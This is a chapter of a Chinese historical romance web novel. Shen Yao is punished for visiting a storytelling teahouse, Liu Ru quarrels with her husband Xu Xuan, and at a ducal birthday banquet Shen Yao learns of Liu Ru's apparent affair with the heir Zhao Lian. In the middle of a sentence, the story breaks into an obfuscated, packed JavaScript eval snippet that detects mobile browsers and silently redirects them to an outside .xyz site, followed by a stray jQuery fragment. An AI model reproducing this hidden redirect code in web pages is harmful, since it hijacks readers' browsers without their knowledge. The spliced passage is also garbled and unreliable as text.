官差拿副担架,将徐瑄抬回了家,徐母付过银钱后,蹙眉问道:“究竟怎么回事?”
任是沈瑶再尴尬,也得将茶坊听书一事,向徐母交代清楚。
“我发誓,这是我第一次听这种书,也是最后一次,以后绝不再犯。”
毕竟惹祸之人是她,才让徐瑄屁股开花,所以沈瑶认错态度,很是诚恳。
徐母听完,斜眼看她,眼里尽是鄙夷之色,“那种淫、书,你居然还去茶坊听,真丢我徐家的脸。”
徐母本就讨厌沈瑶,这次沈瑶犯错在先,可算抓住机会整她,于是沈瑶喜提祠堂一夜跪,侍女因未进到规劝责任,同罚。
可怜主仆俩晚饭都没吃,就被拉到祠堂里跪祖宗,徐母还找人时不时监察,生怕俩人偷懒耍罚。
祠堂阴冷,连盆炭火都无,沈瑶双腿已经发麻,来监察的人刚走,沈瑶便找个软垫坐下,叹道:“真是太倒霉了,怎么就遇到个阎王爷,铁面无私,我诅咒他。”
侍女愁眉苦脸,亦叹道:“姑娘,也不能怨人家,他其实都提示了,只怪我们没听出来。”
沈瑶更生气了,“是啊,你说他提示,怎么就不能明显一些,说的模模糊糊,谁能听懂?”
越想越气。
俩人正忧愁着,另一个侍女偷偷进来,手里提着一个饭盒。
沈瑶欣喜,问道:“你怎么进来的?”
“银子。”
沈瑶笑脸立即垮下来。
侍女将饭盒放下,交代两人尽快吃完,为规避风险,先离开祠堂。
夜,暗下来。
*
徐瑄卧室内,柳茹正给丈夫上药,虽说邓宴已让人手下留情,但棍棒之下,屁股该吃的苦,也少不了多少。
“嘶,你轻点。”
徐瑄疼的满头大汗,屁股受伤,他只能趴在床上,气都喘不匀。
柳茹闻言,手轻了许多:“你这伤没有十天半个月,应该好不了。”
“嗯,已请假了。”
“后日国公府寿诞,姨妈和赵姑娘都让我过去,那你就在家躺着,我自己去便好。”
柳茹口中的姨妈,是信国公的妾室柳氏,与徐母是一对姐妹,但两人素来不和,关系冷淡,若不是有柳茹维系着,几乎断了联系。
“母亲呢,她去吗?”徐瑄问。
柳茹笑道:“娘何时去过国公府?”
“哦,也是,她从来不去那。”
徐瑄暗觉可笑,他也是被打傻了,居然问出这种话?
自有记忆以来,母亲从不与国公府姨妈来往,两人形同陌路。以前他问过母亲,可迎接他的是狠狠一巴掌,母亲冷冷道:“有些事,你最好别问。”
后来,他再也没在母亲面前,提起姨妈,但柳茹却行。
她不仅得母亲疼爱,更得姨妈宠爱,经常来往于两家之间,和赵姑娘也是闺中密友。
有时候,徐瑄甚至觉得,柳茹才是母亲的女儿,他更像是捡来的野孩子,爹不疼,娘不爱。
就如今日,他受伤回家,母亲仅是过问受伤缘由,以及迫不及待教训儿媳,对于他的伤情,却一字未问。
比陌生人还冷漠,这就是他的至亲母亲。
“姨妈还说,国公府宴席忙,缺人手,让我过去帮几日忙。”
“凭什么要你去,难道诺大一个国公府,连人手都没有。”听见柳茹要离开几日,还要住那儿,徐瑄瞬间恼火,冷冷道:“我不许。而且你走了,谁来照顾我?”
趁着太夫人寿诞,柳茹借口帮忙,得以留宿国公府,是日前赵廉要求,可没想到徐瑄受伤~
一时,柳茹两头为难。
咬了咬牙,她狠心道:“沈瑶既在,她是你妻子,合该照顾你。”
徐瑄一震,不敢置信看她,“你知道的,我从未拿她当作妻子,甚至成婚至今,都没碰她。怎么如今,你说这种话来伤我。”
还是人吗?
徐瑄身体痛,心里更痛。
柳茹掀眸,冷哼道:“你也说了成婚,你们既拜堂,便是世人眼里的合法夫妻,别再自欺欺人,尽管你嘴上不认,但心里依旧认定,她是你妻子。”
柳茹面色不愉,将药瓶收起,放置一旁,掀起被子,就往徐瑄后背盖,冬天棉被沉,伤口一压,瞬间疼的挠心。
“你今天怎么这么暴躁?”
徐瑄忍着疼痛,目光幽暗,看向柳茹。
“我每天都很暴躁。”
柳茹吹灭蜡烛,径躺在徐瑄身边,掀起被褥睡觉,不再说话。
两人僵持着。黑暗中,徐瑄微不可察,轻叹口气,无奈道:“你想留宿,便留吧。”
他终究妥协了!
*
两日功夫一晃而过,沈瑶惩罚也结束。这一天,京城可热闹了,信国公府太夫人八旬之庆,宴席要办六日。
第一日,宴请皇亲国戚,勋贵公爵等。
第二日,宴请内阁、六部堂官等。
第三日,宴请朝上中高级官员。
……
按照沈家门第,赴宴在第一日。
按照徐家门第,赴宴在第三日。
但因着国公夫人特许,沈瑶得以回娘家,和父母、哥哥一起赴宴。
沈璠今日要相见赵姑娘,特意打扮的光鲜亮丽,还让沈瑶帮忙参谋。
想着赵姑娘是传统闺秀,为了迎合她审美,沈瑶便让兄长做文人装扮,谦谦君子、温润如玉。
因是锦衣卫,沈璠平日手执绣春刀,板着个脸,百姓赐名“活阎罗”,今日穿士子服侍,还真像换了张皮,连心态都带些不同。
沈璠对着铜镜,理正衣冠,同时问妹妹:“这样穿行吗?”
“当然行。”沈瑶俏皮笑道:“哥哥已经很俊了,眼下这副装扮,保证赵姑娘见了你,定移不开眼。”
“就你会说。”沈璠眉开眼笑。
兄妹俩收拾妥帖,沈父、沈母也走出房门,拿上寿礼,坐上马车,就往国公府而去。
京城最不缺勋贵,各个公主驸马、国公侯爷、王公夫人,今日都一起款待。宴席男女分席,男席是国公爷和赵廉接待,女席国公夫人和柳姨妈接引,至于年轻女郎,赵廉媳妇和赵姑娘挑大梁。
国公府百年勋贵,名副其实,府中张灯结彩,屏开鸾凤,笙箫鼓乐,通衢越巷。送寿礼者络绎不绝,将整条街堵的水泄不通。
先是礼部奉旨送贺礼,接着太后又派太监送了一波,绫罗彩缎、金玉翡翠,沉香朱漆,应有尽有。贺礼俱摆在堂屋内,大红绸铺就的桌上,金银与珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498329|162548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝争辉,丹漆同紫檀竞贵。
进入国公府后,沈家人就各去各地,沈母与手帕交看戏,沈老爷与同僚喝酒,沈璠与朋友投壶耍乐,就剩沈瑶呆呆坐在椅上,独自喝茶吃果子。
前沈瑶性子傲,脾气差,朋友寥寥无几,别家女子都是三五相聚,嬉笑玩耍,就她一人,无人搭话。
哎,有点凄惨~
沈瑶暗自神伤着,一个婢女突然走来,笑道:“请问可是沈娘子?”
“嗯,我是。”
沈瑶一愣,还以为是要相看赵姑娘,遂忙道:“我哥哥在男席……”
“不是,我家娘子想见的人是你。”
婢女打断她话,对着她耳边轻轻说了几句,沈瑶才知,是赵廉媳妇晋娘子,因柳茹之事,要见自己。
柳茹能有什么事?
沈瑶心下好奇,想着这是国公府,人多安全,便跟在婢女身后,穿过几道石径,往后宅走去。越走越偏,人越稀少,沈瑶突然害怕,抓住婢女手,就质问,“当真是晋娘子要见我,别是你胡乱诓骗?”
婢女被沈瑶突袭,吓了一跳,忙解释道:“娘子勿要多虑,确是晋娘子要见你。”
婢女言辞大方,眼神也未有丝毫躲闪,沈瑶觉得她不像撒谎,遂放开她手,跟上去。
因为偏僻,房间很安静,沈瑶到时,就见一名贵妇,端坐高堂,手中拨弄着燃香。
晋娘子见人到了,遂起身迎接,各自见礼后,婢女出门,将房门关紧。
请沈瑶入座,晋娘子笑道:“早闻京城第一美人,乃是沈娘子,今日一见,当得起国色天香。”
上来就夸人貌美,把人捧得高高的,沈瑶瞬间提起了心,谨慎道:“晋娘子谬赞,京城美人如云,实在担不起第一虚名。”
沈瑶语毕,浅浅一笑,看着晋娘子。
晋娘子面上不显,心里却很惊讶,传言都说沈瑶嚣张跋扈,傲慢无礼,没想到眼前人,竟这么谦虚礼貌,她为此准备了一箩筐的讨好之词,一时竟无用武之地。
她既满脸和煦,晋娘子再欢喜不过,遂笑道:“时间紧,我就不绕圈子,找你来呢,主要是为了柳茹一事。”
沈瑶疑惑,问:“她怎么了?”
“柳茹与我丈夫有私,你可知晓?”
沈瑶:“……”
“不会吧。”沈瑶满目震惊,头摇的像拨浪鼓,“不可能,你是不是弄错了?”
柳茹爱徐瑄,徐瑄爱柳茹,俩人伉俪情深,爱的死去活来,柳茹怎么可能红杏出墙,背叛徐瑄?
沈瑶打死都不相信。
晋娘子见状,叹了口气,目光复杂看着她,“此言并非胡诌,乃是我亲眼所见,她们二人在房内,抱作一团,宽衣解带,在床上……我才确认此事的。”
“你也知道,世子是未来国公,竟如此糊涂,做出与人小妾私通丑事,这事要传出去,体面何在?让别人怎么看我们?怎么看你们徐家?”
“……”
沈瑶心跳如擂鼓,震撼到不知该如何接话,只看着晋娘子发愣。
这事超过她的认知,得缓一缓。
晋娘子目光直视沈瑶,对方没给回音,以为她还是不相信,遂道:“我知你一时难以接受,那这样吧。今晚,你敢不敢与我一起捉奸?”